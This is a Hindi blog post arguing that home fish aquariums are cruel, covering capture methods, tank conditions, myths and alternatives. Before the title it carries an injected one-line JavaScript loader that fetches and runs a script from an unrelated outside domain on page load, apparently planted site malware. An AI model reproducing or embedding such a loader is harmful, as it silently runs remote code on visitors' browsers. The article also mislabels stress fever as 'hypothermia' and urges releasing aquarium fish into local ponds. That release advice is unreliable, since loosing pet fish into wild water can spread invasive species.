;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); रंगीन फिश एक्वेरियम की बदरंगी दुनिया! - हमारा संसार

रंगीन फिश एक्वेरियम की बदरंगी दुनिया!

खूबसूरत से रंग बिरंगी मछलियों वाले फिश एक्वेरियम को देख एक बार तो हर कोई उसको निहारे बिना नहीं रहता। एक्वेरियम की वो रंगीन दुनिया हमारे लिए एक बार सम्मोहक और आकर्षण पैदा करने वाली हो सकती है लेकिन वहीँ दूसरी तरफ किसी और के लिए एक आजीवन शोषण और पीड़ा का कारण भी होता है।

फिश एक्वेरियम में क्या है गलत?

कामिनी और रोहित अपने नये और आलिशान घर को और अधिक सुंदर बनाने के लिए बाजार से रंगबिरंगी जिंदा मछलियों का एक एक्वेरियम खरीद लाये। सभी आने वाले मेहमान उनकी साज-सज्जा में चार चाँद लगाने वाले इस एक्वेरियम की तारीफ़ करते नहीं थकते थे। छोटे बच्चों के लिए तो ये विशेष आकर्षण का केंद्र हो गया था।

कामिनी रोज मछलियों को समय पर खाना देती थी और उन्हें पानी में खेलते देख खुश होती थी। लेकिन ये क्या? थोड़े ही समय में एक मछली की लाश एक्वेरियम की सतह पर तैरती हुई मिली! दु:खी हो कामिनी ने उस लाश को एक्वेरियम से बाहर निकाल फैंक दिया। लेकिन उसके बाद तो ये एक सिलसिला बन गया।

हर एक-दो महीने में 2-3 मछलियों की लाशें बाहर निकालनी पड़ती। देखते ही देखते कुछ ही महीनों में एक्वेरियम की सारी मछलियाँ मर गई। वे फिर बाजार में गए तो उन्हें दुकानदार ने बताया कि ये तो आम बात है, आप चिंता न करें। आप और मछलियाँ खरीद ले जाइए।

लगभग ऐसी ही कहानी हर एक्वेरियम के ग्राहक की है। परंतु इसके पीछे की कहानी से हम अभी भी अनभिज्ञ हैं। आओ देखें कि और क्या होता है इन मछलियों के साथ:

फिश एक्वेरियम की मछलियों का ह्रदय-विदारक सच

किसी भी जीव को अपने स्वार्थ और मनोरंजन के लिए कैद में रखना ही क्रूरता है। किंतु एक्वेरियम के पीछे की खुनी दास्ताँ तो क्रूरता की पराकाष्ठा है।

एक्वेरियम की शुरुआत होती है मछलियों को उनके प्राकृतिक आवास से पकड़ने से। इनको पकड़ने के लिए क्रूरता पूर्ण तरीकों जैसे उन्हें जहरीले रसायनों द्वारा बेहोंश करना, हलके विद्युत झटके देना इत्यादि का उपयोग किया जाता है। इन क्रूरतापूर्ण तरीकों से कई मछलियों की मौत हो जाती है और जो पकड़ी जाती है उनमें से कई, इन्हें विक्रय-केन्द्रों और एक्वेरियमों तक पहुँचाने के दौरान ही मर जाती है और जो बचती है वे भी अधिकतर अस्वस्थ्य हो जाने के कारण अपना औसत जीवनकाल भी पूरा नहीं कर पाती हैं।

एक जलीय जीव जो अपने प्राकृतिक आवास में अपनी इच्छा से घूमता, खाता और सामाजिक जीवन जीता है उसे यदि आजीवन कांच के एक छोटे से पिंजरे में कैद कर दिया जाए तो आप इसे क्या कहेंगे?

कितना दुष्कर है काँच का डिब्बा-बंद जीवन?

जरुरत से अधिक या कम खाना देना

यह दोनों ही स्थितियाँ जीवों के लिए घातक सिद्ध होती है, चूँकि यह पता करना असंभव होता है कि कौनसी मछली को कितने और किस तरह के भोजन की आवश्यकता होती है अत: अधिक दया दिखाते हुए एक्वेरियम मालिक सभी मछलियों को एक-सा और उनकी आवश्यकता से अधिक भोजन डाल देते हैं, जिससे मछलियों के खाने के बाद बचा हुआ भोजन सड़ने लगता है और पानी को दूषित करता है।

दूसरी और मछलियां भी ज्यादा खाने लगती है जिससे उनका स्वास्थ्य भी बिगड़ने लगता है जो अंतत: मछलियों के लिए घातक सिद्ध होता है। जरुरत से कम भोजन देने से मछलियाँ एक दूसरे को भी नुकसान पहुंचा सकती है। सबसे अहम बात यह है कि जो भी भोजन एक्वेरियम में दिया जाता है वह अप्राकृतिक होता है या कहें कि एक प्रकार का फ़ास्ट फ़ूड होता है जिसे खाना मछलियों की मज़बूरी होती है।

पानी की गुणवत्ता और वातावरण

एक एक्वेरियम में कई तरह की मछलियाँ रखी जाती है ताकि वह देखने में सुंदर लगे लेकिन इस बात को बिलकुल नज़रअंदाज किया जाता है कि हर मछली की प्रजाति पानी के वातावरण जैसे उसके तापमान, अम्लीयता, ऑक्सीजन स्तर, वायु-दाब, रोशनी इत्यादि के अनुरूप विकसित हुई है और उसे जीने के लिए वही वातावरण की जरुरत होती है, लेकिन एक्वेरियम में हर तरह की मछली को एक-सा वातावरण मिलता है जो कि उनके जीवन को असहज और पीड़ादायक बनाता है।

अप्राकृतिक आवास

मछलियाँ बेहद ही संवेदनशील प्राणी होती है, जो कि अपने प्राकृतिक आवास में स्वछंद रूप से दूर दूर तक घूमती हैं। एक पारदर्शी कांच के डिब्बे में कैद, लगातार दर्शकों के बीच कृत्रिम रोशनी, तापमान, वायुदाब, ऑक्सीजन स्तर, शोरगुल इत्यादि से वह सहम जाती है और पूरा जीवन ही तनाव में जीती है। हम एक्वेरियम को रखने के पीछे यह तर्क देते हैं कि यह शान्ति का प्रतीक है लेकिन इसके उलट इसे “शांतिपूर्ण जीवों की तनावग्रस्त व लाचार जिन्दगी का प्रदर्शन” कहना ज्यादा उचित होगा।

निर्दयी खेती

जब मछलियों को बार-बार उनके प्राकृतिक आवास से पकड़ कर लाना बहुत महंगा पड़ता है तो उनकी मांग के अनुरूप उनकी खेती की जाती है, मछलियों की फार्मिंग के लिए छोटी सी जगह में अप्राकृतिक वातावरण में हजारों की तादात में मछलियाँ पैदा की जाती है जिसमें से अधिकांश की मौत हो जाती है और बची हुई अस्वस्थ्य मछलियाँ अपना जीवन पिंजरें में जीने को मजबूर होती है। कई बार इन्हें सुंदर रंग बिरंगी बनाने के लिए रासायनिक जहरीली डाई का भी उपयोग किया जाता है और टेटू भी उन पर उकेरे जाते हैं। इसे क्रूरता की चरम सीमा कहना अतिशयोक्ति नहीं होगी।

फिश एक्वेरियम के बारे में अंधविश्वास और मिथ्या-अवधारणायें

एक्वेरियम के बारे में कई तरह के अंधविश्वास प्रचलित हैं जो कि एक्वेरियम संस्कृति को बढ़ावा देते हैं। जैसे कि:

  • इन्हें घर या ऑफिस में फलां-फलां दिशा में रखने से खुशहाली आती है, वैभव में वृद्धि होती है, शांत माहौल बनता है इत्यादि।
  •  एक्वेरियम के अंदर बहते पानी की आवाज से घर में सकारात्मक ऊर्जा का प्रवाह होता है आदि-आदि न जाने क्या-क्या ।

इन सब का कोई वैज्ञानिक आधार नहीं है। लेकिन एक बात तो स्पष्ट है कि किसी जीव को यातनापूर्ण जीवन जीने को मजबूर करने से मन हमेशा अशांत ही रहेगा, न की शांत।

जीवन को अपमानित करने की कुशिक्षा

एक अवधारणा यह है कि मछलियों और जलीय जंतुओं के संसार को समझने के लिए फिश एक्वेरियम बहुत जरुरी है, जो कि बिलकुल निराधार है। बच्चे जब एक्वेरियम से परिचित होते हैं तो जरुर कुछ सीखते हैं लेकिन क्या सीखते हैं, यह ज्यादा महत्वपूर्ण है। क्या एक्वेरियम को देख बच्चों के अंतर्मन में पहली धारणा यह नहीं बनती है कि मछलियाँ तो होती ही सजावट की वस्तु है, जिन्हें कांच के डिब्बे में कैद कर रखा जाता है?

जब किसी जीव के बारे में समझना हो तो उसे किसी कृत्रिम वातावरण में रख कर, उसके प्राकृतिक जीवन के बारे में कैसे जाना जा सकता है?  ये सजीव जीवों के निर्जीव वस्तुवीकरन की मानसिकता को ही प्रोत्साहित करता है। जीवन को अपमानित करने की कुशिक्षा का आधार हैं एक्वेरियमों का प्रदर्शन।

Taking Children To An Aquarium Is A Lesson In Cruelty

क्या है एक्वेरियम के विकल्प?

मुख्यत: एक्वेरियम को एक सजावटी वस्तु की तरह प्रयोग किया जाता है। लेकिन इस क्रूरतापूर्ण सजावट के कई अच्छे और सुंदर विकल्प आज मौजूद हैं। बाज़ार में कई तरह के रोबोटिक खिलौने उपलब्ध हैं जिन्हें एक्वेरियम में सजाने से घर/आफिस की सुन्दरता बिना किसी जीव को कष्ट दिए ही की जा सकती है।

इसके अलावा भी एक्वेरियम को अन्य कई तरह की सजावटी वस्तुओं और रोशनी से सुन्दर बनाया जा सकता है। जहाँ तक एक्वेरियम से कुछ सीखने का सवाल है, उसके लिए सबसे अच्छा तरीका तो जीवों को उनके प्राकृतिक आवास में जा कर उनका अध्ययन करना ही है, लेकिन यह संभव नहीं हो तो कई तरह के वर्चुअल सॉफ्टवेयर और फ़िल्में भी हैं जिनका उपयोग किया जा सकता है। 

Artificial fish aquarium

वर्तमान में मौजूद अपने घर/ऑफिस के एक्वेरियम का क्या करें?

अगर आप चाहते हैं कि आपको घर/ऑफिस में पहले से मौजूद, क्रूरता के प्रतीक, एक्वेरियम से छुटकारा मिले, तो उसके दो उपाय हो सकते हैं –

  • पहला मछलियों को पुन: वहीँ पहुंचा दिया जाए जहाँ से उसे ख़रीदा गया था ताकि वह दुकानदार बेचने के लिए और अधिक मछलियों को नहीं खरीदेगा तो उनकी मांग कम होगी और मांग कम होने से अनेक मछलियाँ हिंसा एवं प्रताड़ित होने से बच जाएगी। इससे मछलियों की अधिक फार्मिंग और उनका शिकार करने के व्यवसाय हतोत्साहित होंगें।
  • दूसरा, अगर आपके शहर में या आसपास कोई छोटा प्राकृतिक पानी का कुंड या बावड़ी है तो उसमें भी इन मछलियों को छोड़ा जा सकता है।

मछलियों के बारे में कुछ तथ्य

बी.बी.सी. में प्रकाशित एक वैज्ञानिक शोध के अनुसार:

  • मछली एक बाह्यउष्मीय (कोल्ड-ब्लडेड) प्राणी होने के कारण कैद में रहने पर तनावग्रस्त हो अपने आतंरिक शारीरिक ताप के अनुसार गर्म जल की ओर जाना चाहती है। तनाव के कारण उनका शारीरिक तापमान 2 से 4 डिग्री सेल्सियस बढ़ जाता है। इसे भावनात्मक-ज्वर (stress induced hypothermia) कहा जाता है।
  • मछलियों में सीखने-समझने की अच्छी क्षमता होती है और इनका आचरण बहुत ही सुविकसित होता है।
  • मछलियों की अनेक प्रजातियाँ दिशा और क्षेत्र संबंधी अच्छा ज्ञान रखती है और अपने मानसिक मानचित्र का प्रयोग कर अपनी दिशा निर्धारित करती है।
  • मछलियाँ आपसी लड़ाई में पिछले प्रतिद्वंदियों से हुई लड़ाई को यादकर अपने प्रतिद्वंदी से जीत की संभावना का आकलन कर लेती है।
  • मछलियाँ कई जटिल समस्याओं के समाधान हेतु औजारों का इस्तेमाल करने में भी दक्ष पाई गई।
  • मछलियाँ अपने आपको एवं दूसरी मछलियों को पहचान सकती है। उनकी स्मरण शक्ति तीक्ष्ण होती है। वे एक सामाजिक प्राणी है और आपसी सहयोग करती है। एक-दूसरे से काफी सीखती भी हैं।

फिश एक्वेरियम के बारे में कुछ तथ्य:

नेशनल जियोग्राफिक के अनुसार :

  • फिश एक्वेरियम के लिए पकडे जानी वाली नब्बे प्रतिशत तक समुद्री मछलियों का शिकार घातक साइनाइड का प्रयोग कर किया जाता है।
  • 98% समुद्री मछलियों की प्रजातियों का प्रजनन नहीं किया जा सकता है और इन्हें महासागरों से शिकार कर पकड़ा जाता है। अवैध रूप से सोडियम साइनाइड का प्रयोग कर।
  • कई मछलियों को पकड़ने के बाद उनकी पूँछ और मीनपंख से तीखे रीढ़ के कांटे काट दिए जाते हैं ताकि वे पकड़े गए बैग को पंक्चर न कर पाए।
  • परिवहन के दौरान मछलियों के पानी में अमोनिया का स्तर न बढ़ जाए, इस कारण उन्हें कई दिनों तक भूखा रखा जाता है।
  • 80% मछलियाँ एक्वेरियम तक पहुँचने से पहले ही मर जाती है। एक्वेरियमों में रखी 98% मछलियाँ एक साल के अंदर ही मर जाती हैं।
  • मछलियाँ बहुत ही महीन आवाजों से एक-दुसरे से बात करती है लेकिन एक्वेरियम के फ़िल्टर और पम्प का शोर इनके आपसी संवाद को ही भंग कर देता है।

मछलियां मानव से अलग जरूर होती है लेकिन प्रकृति द्वारा जीवन का एक सुन्दरतम सृजन है जिसको हम अगर संजो न सके तो कम से कम बेरहमी से बर्बाद तो न करें! सम्मानजनक अस्तित्व हर प्राणी का मौलिक अधिकार है। किसी के जीवन से खेल कर मनोरंजित होना राक्षसी प्रवृति का ही द्योतक है। आओ, हम इस दुनिया में आज से ही मानवता की पताका लहराएँ!

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